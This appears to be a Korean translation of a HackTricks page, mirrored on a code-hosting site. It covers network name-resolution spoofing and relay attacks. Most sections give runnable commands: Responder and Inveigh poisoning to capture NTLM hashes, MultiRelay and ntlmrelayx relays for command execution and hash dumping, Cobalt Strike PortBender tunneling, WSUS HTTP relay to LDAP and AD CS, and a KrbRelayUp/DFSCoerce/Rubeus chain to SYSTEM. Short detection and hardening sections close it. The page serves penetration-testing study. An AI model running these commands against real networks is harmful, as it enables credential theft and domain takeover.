maride/hacktricks

Fork 0

mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00

Translator 26ece63d68 Translated ['src/generic-methodologies-and-resources/basic-forensic-meth

2025-09-30 22:42:46 +00:00

19 KiB

Raw Blame History

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

네트워크 프로토콜

Local Host Resolution Protocols

LLMNR, NBT-NS, and mDNS:
Microsoft 및 기타 운영체제는 DNS가 실패할 때 로컬 이름 해석을 위해 LLMNR 및 NBT-NS를 사용합니다. 마찬가지로 Apple 및 Linux 시스템은 mDNS를 사용합니다.
이들 프로토콜은 UDP를 통한 인증되지 않은 브로드캐스트 특성 때문에 도청 및 spoofing에 취약합니다.
Responder를 사용하면 이들 프로토콜을 질의하는 호스트에 위조된 응답을 보내 서비스를 가장할 수 있습니다.
Responder를 사용한 서비스 가장에 대한 자세한 정보는 여기에서 확인할 수 있습니다.

Web Proxy Auto-Discovery Protocol (WPAD)

WPAD는 브라우저가 프록시 설정을 자동으로 검색할 수 있도록 합니다.
검색은 DHCP, DNS를 통해 이루어지며 DNS가 실패하면 LLMNR 및 NBT-NS로 폴백됩니다.
Responder는 WPAD 공격을 자동화하여 클라이언트를 악성 WPAD 서버로 유도할 수 있습니다.

Responder를 이용한 Protocol Poisoning

Responder는 LLMNR, NBT-NS, mDNS 쿼리를 poisoning하는 데 사용되는 도구로, 쿼리 유형에 따라 선택적으로 응답하며 주로 SMB 서비스를 대상으로 합니다.
Kali Linux에 기본으로 포함되어 있으며 /etc/responder/Responder.conf에서 구성할 수 있습니다.
Responder는 캡처한 해시를 화면에 표시하고 /usr/share/responder/logs 디렉토리에 저장합니다.
IPv4와 IPv6를 모두 지원합니다.
Windows용 Responder 버전은 여기에서 사용할 수 있습니다.

Running Responder

기본 설정으로 Responder를 실행하려면: responder -I <Interface>
부작용이 있을 수 있는 좀 더 공격적인 프로빙: responder -I <Interface> -P -r -v
NTLMv1 challenge/response를 캡처해 크래킹을 쉽게 하는 기법: responder -I <Interface> --lm --disable-ess
WPAD 가장화를 활성화하려면: responder -I <Interface> --wpad
NetBIOS 요청을 공격자 IP로 해석하고 인증 프록시를 설정할 수 있습니다: responder.py -I <interface> -Pv

DHCP Poisoning with Responder

DHCP 응답을 spoofing하면 피해자의 라우팅 정보를 영구적으로 poisoning할 수 있어 ARP poisoning보다 은밀한 대안이 됩니다.
이는 타깃 네트워크 구성에 대한 정확한 지식을 필요로 합니다.
공격 실행: ./Responder.py -I eth0 -Pdv
이 방법은 NTLMv1/2 해시를 효과적으로 캡처할 수 있지만 네트워크 중단을 피하기 위해 신중히 다뤄야 합니다.

Capturing Credentials with Responder

Responder는 위에서 언급한 프로토콜을 사용해 서비스를 가장하고, 사용자가 spoofed 서비스에 대해 인증을 시도할 때 자격증명(일반적으로 NTLMv2 Challenge/Response)을 캡처합니다.
자격증명 크래킹을 쉽게 하기 위해 NetNTLMv1로 다운그레이드하거나 ESS를 비활성화하려는 시도를 할 수 있습니다.

이러한 기술을 사용할 때는 적절한 허가를 받고 방해나 무단 접근을 피하는 등 법적·윤리적으로 수행해야 한다는 점이 중요합니다.

Inveigh

Inveigh는 Windows 시스템용으로 설계된 penetration testers 및 red teamers를 위한 도구입니다. Responder와 유사한 기능을 제공하며 spoofing 및 man-in-the-middle 공격을 수행합니다. 이 도구는 PowerShell 스크립트에서 C# 바이너리로 발전했으며 주요 버전으로는 Inveigh와 InveighZero가 있습니다. 자세한 매개변수와 지침은 wiki에서 확인할 수 있습니다.

Inveigh는 PowerShell을 통해 운영할 수 있습니다:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

또는 C# 바이너리로 실행:

Inveigh.exe

NTLM Relay Attack

이 공격은 SMB 인증 세션을 활용해 대상 머신에 접근하며, 성공 시 system shell을 획득할 수 있습니다. 주요 전제 조건은 다음과 같습니다:

인증하는 사용자는 릴레이된 호스트에서 Local Admin 액세스 권한을 가지고 있어야 합니다.
SMB signing이 비활성화되어 있어야 합니다.

445 Port Forwarding and Tunneling

직접 네트워크 연결이 불가능한 상황에서는 port 445 트래픽을 포워딩하고 터널링해야 합니다. PortBender와 같은 도구는 port 445 트래픽을 다른 포트로 리다이렉트하는 데 도움이 되며, 이는 driver loading을 위해 local admin access가 가능한 경우 필수적입니다.

Cobalt Strike에서 PortBender 설정 및 운영:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLM Relay Attack용 기타 도구

Metasploit: 프록시와 로컬 및 원격 호스트 정보를 설정해 사용.
smbrelayx: SMB 세션을 중계하고 명령을 실행하거나 백도어를 배포하기 위한 Python 스크립트.
MultiRelay: Responder 스위트의 도구로 특정 사용자 또는 모든 사용자를 중계하고, 명령을 실행하거나 해시를 덤프할 수 있음.

각 도구는 필요한 경우 SOCKS 프록시를 통해 동작하도록 구성할 수 있어, 간접 네트워크 접근만으로도 공격을 수행할 수 있다.

MultiRelay 동작

MultiRelay는 /usr/share/responder/tools 디렉토리에서 실행되며 특정 IP나 사용자를 대상으로 한다.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

이 도구들과 기법들은 다양한 네트워크 환경에서 NTLM Relay 공격을 수행하기 위한 포괄적인 세트를 제공합니다.

Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)

WSUS 클라이언트는 NTLM을 사용해 HTTP (8530) 또는 HTTPS (8531) 상의 업데이트 서버에 인증합니다. HTTP가 활성화된 경우, 로컬 세그먼트에서 주기적인 클라이언트 체크인을 강제하거나 가로채서 ntlmrelayx로 LDAP/LDAPS/SMB 또는 AD CS HTTP 엔드포인트(ESC8)로 해시를 크랙하지 않고 중계할 수 있습니다. 이는 정상적인 업데이트 트래픽에 섞여 들어가며 종종 머신 계정 인증(HOST$)을 얻습니다.

찾아볼 항목

GPO/레지스트리 설정 위치: HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate 및 ...\WindowsUpdate\AU:
WUServer (예: http://wsus.domain.local:8530)
WUStatusServer (보고용 URL)
UseWUServer (1 = WSUS; 0 = Microsoft Update)
DetectionFrequencyEnabled 및 DetectionFrequency (시간)
클라이언트가 HTTP로 사용하는 WSUS SOAP 엔드포인트:
/ClientWebService/client.asmx (승인)
/ReportingWebService/reportingwebservice.asmx (상태)
기본 포트: 8530/tcp HTTP, 8531/tcp HTTPS

정찰 (Reconnaissance)

비인증(Unauthenticated)
- 리스너 스캔: nmap -sSVC -Pn --open -p 8530,8531 -iL
- L2 MITM로 HTTP WSUS 트래픽을 스니핑하고 wsusniff.py로 활성 클라이언트/엔드포인트를 기록 (TLS 인증서를 클라이언트가 신뢰하게 만들 수 없는 한 HTTP만).
인증(Authenticated)
- SYSVOL GPO에서 WSUS 키를 MANSPIDER + regpol로 파싱 (wsuspider.sh 래퍼가 WUServer/WUStatusServer/UseWUServer 요약).
- 호스트에서 대규모로 엔드포인트 쿼리 또는 로컬에서: nxc smb -u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay 단계

MITM 위치 확보(같은 L2) — 클라이언트가 WSUS 서버를 당신으로 해석하도록 만듭니다 (ARP/DNS poisoning, Bettercap, mitm6 등). arpspoof 예: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>
포트 8530을 리레이 리스너로 리다이렉트(선택적, 편리): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers
HTTP 리스너로 ntlmrelayx 시작(HTTP 리스너를 위한 Impacket 지원 필요; 아래 PR 참조): ntlmrelayx.py -t ldap:// -smb2support -socks --keep-relaying --http-port 8530

다른 일반 목표:

Relay to SMB (서명 비활성화 시)로 실행/덤프: -t smb://
Relay to LDAPS로 디렉터리 변경(예: RBCD): -t ldaps://
Relay to AD CS web enrollment (ESC8)로 인증서 발급 후 Schannel/PKINIT로 인증: ntlmrelayx.py --http-port 8530 -t http:///certsrv/certfnsh.asp --adcs --no-http-server 더 깊은 AD CS 남용 경로와 도구는 AD CS 페이지를 참조하세요:

{{#ref}} ../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md {{#endref}}

클라이언트 체크인을 트리거하거나 일정 대기. 클라이언트에서: wuauclt.exe /detectnow 또는 Windows Update UI에서 (Check for updates).
인증된 SOCKS 세션(-socks 사용 시)이나 직접 리레이 결과를 사용하여 사후 침투(LDAP 변경, SMB 작업, 또는 나중에 인증하기 위한 AD CS 인증서 발급 등).

HTTPS 제약 (8531)

클라이언트가 당신의 인증서를 신뢰하지 않는 한, HTTPS로 전송되는 WSUS를 수동으로 가로채는 것은 효과가 없습니다. 신뢰된 인증서나 다른 TLS 우회가 없으면 WSUS HTTPS 트래픽에서 NTLM 핸드셰이크를 수집/중계할 수 없습니다.

노트

WSUS는 사용 중단(deprecated) 발표가 있었지만 널리 배포되어 있으며 HTTP(8530)는 많은 환경에서 여전히 일반적입니다.
유용한 도구: wsusniff.py (HTTP WSUS 체크인 관찰), wsuspider.sh (GPO에서 WUServer/WUStatusServer 열거), NetExec reg-query (대규모).
Impacket은 PR #2034에서 ntlmrelayx용 HTTP 리스너 지원을 복원했습니다(원래 PR #913에서 추가됨).

Force NTLM Logins

Windows에서는 일부 권한 있는 계정을 임의의 머신에 인증하도록 강제할 수 있을 수 있습니다. 방법은 다음 페이지를 읽어보세요:

{{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}}

Kerberos Relay attack

A Kerberos relay attack은 한 서비스에서 AP-REQ 티켓을 훔쳐 동일한 computer-account key를 공유하는(두 SPN이 동일한 $ 머신 계정에 설정된 경우) 두 번째 서비스에 재사용합니다. 이는 SPN의 service class가 서로 달라도(예: CIFS/ → LDAP/) 작동하는데, 티켓을 복호화하는 키는 머신의 NT 해시이며 SPN 문자열 자체가 서명에 포함되지 않기 때문입니다.

NTLM relay와 달리 홉은 동일 호스트로 제한되지만, LDAP에 쓰기가 가능한 프로토콜을 겨냥하면 Resource-Based Constrained Delegation (RBCD) 또는 AD CS enrollment로 체인 연결하여 단번에 NT AUTHORITY\SYSTEM을 확보할 수 있습니다.

이 공격에 대한 자세한 정보는 다음을 확인하세요:

Token	Purpose	Relay relevance
TGT / AS-REQ ↔ REP	사용자를 KDC에 증명함	영향 없음
Service ticket / TGS-REQ ↔ REP	하나의 SPN에 바인딩; SPN 소유자의 키로 암호화됨	SPN들이 동일 계정을 공유하면 교환 가능
AP-REQ	클라이언트가 `TGS`를 서비스로 전송	우리가 훔쳐서 재생하는 것

티켓들은 **SPN을 소유한 계정의 비밀번호 유도 키(password-derived key)**로 암호화됩니다.
AP-REQ 내부의 Authenticator는 5분 타임스탬프를 가지며, 그 윈도우 내에서 재생하면 서비스 캐시가 중복을 확인할 때까지 유효합니다.
Windows는 티켓의 SPN 문자열이 당신이 접속한 서비스와 일치하는지 거의 확인하지 않으므로 CIFS/HOST용 티켓이 LDAP/HOST에서 정상적으로 복호화되는 경우가 일반적입니다.

1. Kerberos를 중계하려면 무엇이 참이어야 하는가

Shared key: 출발지와 대상 SPN이 동일한 컴퓨터 계정에 속해야 함(Windows 서버의 기본 설정).
No channel protection: SMB/LDAP 서명 비활성 및 HTTP/LDAPS에 대한 EPA 비활성.
인증을 가로채거나 강제할 수 있음: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM 등.
티켓 출처가 이미 사용되지 않음: 실제 패킷이 도달하기 전에 레이스에서 이겨야 하며 그렇지 않으면 서버의 재생 캐시가 Event 4649를 기록함.
통신에서 어떤 식으로든 MitM을 수행할 수 있어야 함 — 도메인의 DNS를 수정할 수 있는 DNSAmins 그룹의 일원이 되거나 피해자의 HOST 파일을 변경할 수 있어야 할 수 있습니다.

Kerberos Relay Steps

3.1 Recon the host

# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName

3.2 릴레이 리스너 시작

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp는 KrbRelay → LDAP → RBCD → Rubeus → SCM bypass를 하나의 바이너리로 래핑합니다.

3.3 Coerce Kerberos auth

# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce는 DC가 Kerberos CIFS/DC01 티켓을 우리에게 보내게 만듭니다.

3.4 Relay the AP-REQ

KrbRelay는 SMB에서 GSS blob을 추출해 LDAP bind로 재포장하고 ldap://DC01로 전달합니다—인증은 같은 키로 복호화되기 때문에 성공합니다.

3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM

# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

이제 당신은 NT AUTHORITY\SYSTEM 권한을 획득했습니다.

더 알아둘 만한 경로

Vector	Trick	Why it matters
AuthIP / IPSec	악성 서버가 임의의 SPN으로 GSS-ID payload를 전송하면, 클라이언트는 바로 당신에게 AP-REQ를 생성함	서브넷 간에도 동작; 기본적으로 machine creds 사용
DCOM / MSRPC	악성 OXID resolver가 클라이언트를 임의의 SPN과 포트에 인증하도록 강제함	완전한 local priv-esc; 방화벽 우회
AD CS Web Enroll	기계 티켓을 `HTTP/CA`로 릴레이해 인증서를 받고, 이후 PKINIT으로 TGTs를 발급	LDAP 서명 방어를 우회함
Shadow Credentials	`msDS-KeyCredentialLink`을 작성한 뒤, 위조된 키 쌍으로 PKINIT 수행	컴퓨터 계정을 추가할 필요 없음

문제 해결

Error	Meaning	Fix
`KRB_AP_ERR_MODIFIED`	티켓 키 ≠ 대상 키	호스트/SPN이 잘못됨
`KRB_AP_ERR_SKEW`	시스템 시각 차이 > 5분	시간 동기화 또는 `w32tm` 사용
LDAP bind fails	서명 요구됨	AD CS 경로 사용 또는 서명 비활성화
Event 4649 spam	서비스에서 중복된 Authenticator 감지	원본 패킷을 차단하거나 레이스 처리

탐지

같은 소스에서 짧은 시간 내에 CIFS/, HTTP/, LDAP/에 대한 Event 4769 급증.
서비스에서의 Event 4649는 재생(replay)이 감지되었음을 나타냄.
127.0.0.1로부터의 Kerberos 로그온(로컬 SCM으로의 릴레이)은 매우 의심스러움 — KrbRelayUp 문서의 Sigma 룰로 매핑하세요.
msDS-AllowedToActOnBehalfOfOtherIdentity 또는 msDS-KeyCredentialLink 속성 변경을 주시하세요.

하드닝

모든 서버에서 LDAP & SMB signing + EPA 적용.
SPNs 분리: HTTP가 CIFS/LDAP과 동일한 계정에 있지 않도록 설정.
coercion 벡터 패치 (PetitPotam KB5005413, DFS, AuthIP).
무단 컴퓨터 조인을 방지하려면 ms-DS-MachineAccountQuota = 0 설정.
예기치 않은 루프백 Kerberos 로그온 및 Event 4649에 대해 경고 설정.

19 KiB Raw Blame History Unescape Escape